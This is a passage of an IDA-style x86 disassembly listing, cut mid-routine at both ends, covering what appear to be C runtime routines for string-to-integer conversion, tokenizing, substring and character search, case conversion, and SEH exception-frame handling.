		jz	short loc_413791
		mov	edi, [ebp+arg_0]


loc_413791:				; CODE XREF: sub_41364A+142j
		and	[ebp+var_4], 0
		jmp	short loc_4137E2
; ---------------------------------------------------------------------------


loc_413797:				; CODE XREF: sub_41364A+13Cj
		test	al, 4
		mov	esi, 7FFFFFFFh
		jnz	short loc_4137BB
		test	al, 1
		jnz	short loc_4137E2
		and	eax, 2
		jz	short loc_4137B2
		cmp	[ebp+var_4], 80000000h
		ja	short loc_4137BB


loc_4137B2:				; CODE XREF: sub_41364A+15Dj
		test	eax, eax
		jnz	short loc_4137E2
		cmp	[ebp+var_4], esi
		jbe	short loc_4137E2


loc_4137BB:				; CODE XREF: sub_41364A+154j
					; sub_41364A+166j
		call	sub_417C70
		test	byte ptr [ebp+arg_C], 1
		mov	dword ptr [eax], 22h
		jz	short loc_4137D2
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4137E2
; ---------------------------------------------------------------------------


loc_4137D2:				; CODE XREF: sub_41364A+180j
		mov	al, byte ptr [ebp+arg_C]
		and	al, 2
		neg	al
		sbb	eax, eax
		neg	eax
		add	eax, esi
		mov	[ebp+var_4], eax


loc_4137E2:				; CODE XREF: sub_41364A+14Bj
					; sub_41364A+158j ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4137EB
		mov	[eax], edi


loc_4137EB:				; CODE XREF: sub_41364A+19Dj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_4137F4
		neg	[ebp+var_4]


loc_4137F4:				; CODE XREF: sub_41364A+1A5j
		mov	eax, [ebp+var_4]
		jmp	short loc_413804
; ---------------------------------------------------------------------------


loc_4137F9:				; CODE XREF: sub_41364A+6Fj
					; sub_41364A+78j ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_413802
		mov	[eax], ecx


loc_413802:				; CODE XREF: sub_41364A+1B4j
		xor	eax, eax


loc_413804:				; CODE XREF: sub_41364A+1ADj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41364A	endp


; =============== S U B	R O U T	I N E =======================================



sub_413809	proc near		; CODE XREF: sub_402B1D+440p
					; sub_4078FA+2787p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41364A
		add	esp, 10h
		retn
sub_413809	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413820	proc near		; CODE XREF: sub_402B1D+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_41F140
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		push	0
		add	eax, 2AC18000h
		push	989680h
		adc	ecx, 0FE624E21h
		push	ecx
		push	eax
		call	sub_414600
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short locret_413857
		mov	[ecx], eax

locret_413857:				; CODE XREF: sub_413820+33j
		leave
		retn
sub_413820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413859	proc near		; CODE XREF: sub_4030C4+2Ap
					; sub_403B4C+FDp ...

var_24		= byte ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4], eax
		call	sub_415456
		push	8
		pop	ecx
		mov	[ebp+arg_4], eax
		xor	eax, eax
		lea	edi, [ebp+var_24]
		push	7
		rep stosd
		pop	edi


loc_413885:				; CODE XREF: sub_413859+45j
		mov	dl, [esi]
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+var_24]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_413885
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_4138B4
		mov	eax, [ebp+arg_4]
		mov	edx, [eax+18h]
		jmp	short loc_4138B4
; ---------------------------------------------------------------------------


loc_4138AF:				; CODE XREF: sub_413859+72j
		test	al, al
		jz	short loc_4138CD
		inc	edx


loc_4138B4:				; CODE XREF: sub_413859+4Cj
					; sub_413859+54j
		mov	al, [edx]
		movzx	esi, al
		xor	ebx, ebx
		mov	ecx, esi
		and	ecx, edi
		inc	ebx
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	bl, cl
		jnz	short loc_4138AF


loc_4138CD:				; CODE XREF: sub_413859+58j
		mov	ebx, edx
		jmp	short loc_4138E9
; ---------------------------------------------------------------------------


loc_4138D1:				; CODE XREF: sub_413859+93j
		movzx	esi, byte ptr [edx]
		xor	eax, eax
		mov	ecx, esi
		and	ecx, edi
		inc	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	al, cl
		jnz	short loc_4138F0
		inc	edx


loc_4138E9:				; CODE XREF: sub_413859+76j
		cmp	byte ptr [edx],	0
		jnz	short loc_4138D1
		jmp	short loc_4138F4
; ---------------------------------------------------------------------------


loc_4138F0:				; CODE XREF: sub_413859+8Dj
		and	byte ptr [edx],	0
		inc	edx


loc_4138F4:				; CODE XREF: sub_413859+95j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax+18h], edx
		mov	eax, ebx
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		xor	ecx, [ebp+4]
		pop	edi
		and	eax, ebx
		pop	esi
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_413859	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413920	proc near		; CODE XREF: sub_403E06+23Ap
					; sub_403E06+26Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4139A0
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41398D


loc_413938:				; CODE XREF: sub_413920+58j
					; sub_413920+6Bj
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		add	esi, 1
		cmp	al, dl
		jz	short loc_41395E
		test	al, al
		jz	short loc_413958


loc_41394B:				; CODE XREF: sub_413920+36j
		mov	al, [esi]
		add	esi, 1


loc_413950:				; CODE XREF: sub_413920+45j
		cmp	al, dl
		jz	short loc_41395E
		test	al, al
		jnz	short loc_41394B


loc_413958:				; CODE XREF: sub_413920+29j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41395E:				; CODE XREF: sub_413920+25j
					; sub_413920+32j
		mov	al, [esi]
		add	esi, 1
		cmp	al, dh
		jnz	short loc_413950
		lea	edi, [esi-1]


loc_41396A:				; CODE XREF: sub_413920+69j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_413999
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_413938
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_413999
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41396A
		jmp	short loc_413938
; ---------------------------------------------------------------------------


loc_41398D:				; CODE XREF: sub_413920+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_413F36
; ---------------------------------------------------------------------------


loc_413999:				; CODE XREF: sub_413920+4Fj
					; sub_413920+5Fj
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4139A0:				; CODE XREF: sub_413920+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_413920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139A6	proc near		; CODE XREF: sub_413A6E+1Ap

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi+14h], 0
		push	edi
		jz	loc_413A5A
		cmp	dword ptr [esi+24h], 0
		jz	short loc_4139CC
		cmp	ebx, 7Fh
		jbe	loc_413A5A


loc_4139CC:				; CODE XREF: sub_4139A6+1Bj
		xor	edi, edi
		inc	edi
		cmp	ebx, 100h
		jnb	short loc_4139F6
		cmp	[esi+28h], edi
		jle	short loc_4139E9
		push	edi
		push	ebx
		push	esi
		call	sub_41608B
		add	esp, 0Ch
		jmp	short loc_4139F2
; ---------------------------------------------------------------------------


loc_4139E9:				; CODE XREF: sub_4139A6+34j
		mov	eax, [esi+48h]
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, edi


loc_4139F2:				; CODE XREF: sub_4139A6+41j
		test	eax, eax
		jz	short loc_413A67


loc_4139F6:				; CODE XREF: sub_4139A6+2Fj
		mov	edx, [esi+48h]
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_413A17
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_413A20
; ---------------------------------------------------------------------------


loc_413A17:				; CODE XREF: sub_4139A6+60j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, edi


loc_413A20:				; CODE XREF: sub_4139A6+6Fj
		push	edi
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	100h
		push	dword ptr [esi+14h]
		call	sub_4182E4
		add	esp, 20h
		test	eax, eax
		jz	short loc_413A67
		cmp	eax, edi
		jnz	short loc_413A4D
		movzx	eax, [ebp+var_4]
		jmp	short loc_413A69
; ---------------------------------------------------------------------------


loc_413A4D:				; CODE XREF: sub_4139A6+9Fj
		movzx	ecx, [ebp+var_3]
		xor	eax, eax
		mov	ah, [ebp+var_4]
		or	eax, ecx
		jmp	short loc_413A69
; ---------------------------------------------------------------------------


loc_413A5A:				; CODE XREF: sub_4139A6+11j
					; sub_4139A6+20j
		cmp	ebx, 41h
		jl	short loc_413A67
		cmp	ebx, 5Ah
		lea	eax, [ebx+20h]
		jle	short loc_413A69


loc_413A67:				; CODE XREF: sub_4139A6+4Ej
					; sub_4139A6+9Bj ...
		mov	eax, ebx


loc_413A69:				; CODE XREF: sub_4139A6+A5j
					; sub_4139A6+B2j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4139A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A6E	proc near		; CODE XREF: sub_4056EA+6p
					; sub_405AD5+56p ...

arg_0		= dword	ptr  4

		call	sub_415456
		mov	eax, [eax+64h]
		cmp	eax, off_42C7BC
		jz	short loc_413A83
		call	sub_41628E


loc_413A83:				; CODE XREF: sub_413A6E+Ej
		push	[esp+arg_0]
		push	eax
		call	sub_4139A6
		pop	ecx
		pop	ecx
		retn
sub_413A6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A90	proc near		; CODE XREF: sub_405F05+27p
					; sub_405F46+4Dp

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_413421
		pop	ecx
		pop	ecx
		retn
sub_413A90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413A9E	proc near		; CODE XREF: sub_418B60+60p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_413A9E	endp

; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_413ACE	proc near		; CODE XREF: sub_4187DB+25p
					; sub_4189E4+149p ...

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_413ACE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AD5	proc near		; CODE XREF: sub_413B81+5Ap
					; sub_418B60:loc_418B83p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, large fs:0
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], offset loc_413AFE
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_41E8A6


loc_413AFE:				; DATA XREF: sub_413AD5+12o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	eax, 0FFFFFFFDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	edi, large fs:0
		mov	ebx, [ebp+var_4]
		mov	[ebx], edi
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_413AD5	endp

; ---------------------------------------------------------------------------


loc_413B27:				; CODE XREF: .text:0041E8BFj
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_418E69
		add	esp, 20h
		mov	[ebp-4], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_413B5D:				; DATA XREF: sub_413D01+17o
		cld
		mov	eax, [esp+8]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	dword ptr [esp+20h]
		push	dword ptr [eax+0Ch]
		push	dword ptr [esp+20h]
		call	sub_418E69
		add	esp, 20h
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B81	proc near		; DATA XREF: sub_413D52+Bo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_413BA2
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		xor	eax, eax
		inc	eax
		jmp	short loc_413BEF
; ---------------------------------------------------------------------------


loc_413BA2:				; CODE XREF: sub_413B81+10j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_418E69
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_413BE0
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_413AD5


loc_413BE0:				; CODE XREF: sub_413B81+52j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax


loc_413BEF:				; CODE XREF: sub_413B81+1Fj
		pop	ebx
		pop	ebp
		retn
sub_413B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413BF2	proc near		; CODE XREF: sub_418BC7+52p
					; sub_418C87+E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi
		jl	short loc_413C48


loc_413C10:				; CODE XREF: sub_413BF2+51j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_413C1A
		call	sub_418F40


loc_413C1A:				; CODE XREF: sub_413BF2+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		lea	eax, [ebx+eax*4]
		cmp	[eax+4], ecx
		jge	short loc_413C2E
		cmp	ecx, [eax+8]
		jle	short loc_413C33


loc_413C2E:				; CODE XREF: sub_413BF2+35j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_413C3F


loc_413C33:				; CODE XREF: sub_413BF2+3Aj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_413C3F:				; CODE XREF: sub_413BF2+3Fj
		cmp	[ebp+arg_4], 0
		jge	short loc_413C10
		mov	eax, [ebp+var_4]


loc_413C48:				; CODE XREF: sub_413BF2+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_413C5C
		cmp	esi, eax
		jbe	short loc_413C61


loc_413C5C:				; CODE XREF: sub_413BF2+64j
		call	sub_418F40


loc_413C61:				; CODE XREF: sub_413BF2+68j
		pop	edi
		lea	eax, [esi+esi*4]
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_413BF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_413C6C	proc near		; CODE XREF: sub_41883D+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		call	sub_415456
		mov	eax, [eax+84h]
		mov	[esi+4], eax
		call	sub_415456
		mov	[eax+84h], esi
		mov	eax, esi
		pop	esi
		retn
sub_413C6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_413C94	proc near		; CODE XREF: sub_418980+4Bp

arg_0		= dword	ptr  4

		call	sub_415456
		mov	eax, [eax+84h]
		jmp	short loc_413CAC
; ---------------------------------------------------------------------------


loc_413CA1:				; CODE XREF: sub_413C94+1Aj
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jz	short loc_413CB2
		mov	eax, [eax+4]


loc_413CAC:				; CODE XREF: sub_413C94+Bj
		test	eax, eax
		jnz	short loc_413CA1
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_413CB2:				; CODE XREF: sub_413C94+13j
		xor	eax, eax
		retn
sub_413C94	endp


; =============== S U B	R O U T	I N E =======================================



sub_413CB5	proc near		; CODE XREF: sub_418980+9p

arg_0		= dword	ptr  4

		push	esi
		call	sub_415456
		mov	esi, [esp+4+arg_0]
		cmp	esi, [eax+84h]
		jnz	short loc_413CD7
		call	sub_415456
		mov	ecx, [esi+4]
		mov	[eax+84h], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413CD7:				; CODE XREF: sub_413CB5+10j
		call	sub_415456
		mov	eax, [eax+84h]
		jmp	short loc_413CED
; ---------------------------------------------------------------------------


loc_413CE4:				; CODE XREF: sub_413CB5+3Cj
		mov	ecx, [eax+4]
		cmp	esi, ecx
		jz	short loc_413CF9
		mov	eax, ecx


loc_413CED:				; CODE XREF: sub_413CB5+2Dj
		cmp	dword ptr [eax+4], 0
		jnz	short loc_413CE4
		pop	esi
		jmp	sub_418F40
; ---------------------------------------------------------------------------


loc_413CF9:				; CODE XREF: sub_413CB5+34j
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		pop	esi
		retn
sub_413CB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D01	proc near		; CODE XREF: sub_41883D+71p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		inc	eax
		mov	[ebp+var_10], offset loc_413B5D
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_418F70
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_413D01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D52	proc near		; CODE XREF: sub_418BC7+33p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_413B81
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_413DD5
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	sub_415456
		call	dword ptr [eax+74h]
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_413DD5:				; DATA XREF: sub_413D52+3Ao
		cmp	[ebp+var_4], 0
		jz	short loc_413DF2
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_413DFB
; ---------------------------------------------------------------------------


loc_413DF2:				; CODE XREF: sub_413D52+87j
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_413DFB:				; CODE XREF: sub_413D52+9Ej
		mov	eax, [ebp+var_34]
		pop	ebx
		leave
		retn
sub_413D52	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E04	proc near		; CODE XREF: sub_41BAF0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_413E1C
		push	[ebp+arg_0]
		call	sub_41E8A6


loc_413E1C:				; DATA XREF: sub_413E04+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_413E04	endp


; =============== S U B	R O U T	I N E =======================================



sub_413E24	proc near		; DATA XREF: sub_413E46+Ao
					; sub_413EAE+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_413E45
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_413E45:				; CODE XREF: sub_413E24+10j
		retn
sub_413E24	endp


; =============== S U B	R O U T	I N E =======================================



sub_413E46	proc near		; CODE XREF: sub_41BAF0+67p
					; sub_41BAF0+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_413E24
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_413E63:				; CODE XREF: sub_413E46:loc_413E9Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_413EA0
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_413EA0
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_413E9E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_413EDA
		call	dword ptr [ebx+esi*4+8]


loc_413E9E:				; CODE XREF: sub_413E46+44j
		jmp	short loc_413E63
; ---------------------------------------------------------------------------


loc_413EA0:				; CODE XREF: sub_413E46+2Aj
					; sub_413E46+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_413E46	endp


; =============== S U B	R O U T	I N E =======================================



sub_413EAE	proc near		; CODE XREF: sub_418980+55p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_413E24
		jnz	short locret_413ED0
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_413ED0
		mov	eax, 1

locret_413ED0:				; CODE XREF: sub_413EAE+10j
					; sub_413EAE+1Bj
		retn
sub_413EAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_413ED1	proc near		; CODE XREF: sub_418F70+1Ep
					; sub_418F70+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42C730
		jmp	short loc_413EE4
sub_413ED1	endp


; =============== S U B	R O U T	I N E =======================================



sub_413EDA	proc near		; CODE XREF: sub_413E46+4Fp
					; sub_41BAF0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42C730
		mov	ecx, [ebp+8]


loc_413EE4:				; CODE XREF: sub_413ED1+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_413EDA	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_413EF4	proc near		; CODE XREF: sub_405F46+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_413EF4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_413F30


loc_413F20:				; CODE XREF: sub_413F30+1Fj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_413F30
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413F30	proc near		; CODE XREF: sub_405FC7+21p
					; sub_406702+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00413F20 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_413F36:				; CODE XREF: sub_413920+74j
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_413F5D


loc_413F48:				; CODE XREF: sub_413F30+2Bj
		mov	cl, [edx]
		add	edx, 1
		cmp	cl, bl
		jz	short loc_413F20
		test	cl, cl
		jz	short loc_413FA6
		test	edx, 3
		jnz	short loc_413F48


loc_413F5D:				; CODE XREF: sub_413F30+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_413F68:				; CODE XREF: sub_413F30+63j
					; sub_413F30+72j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
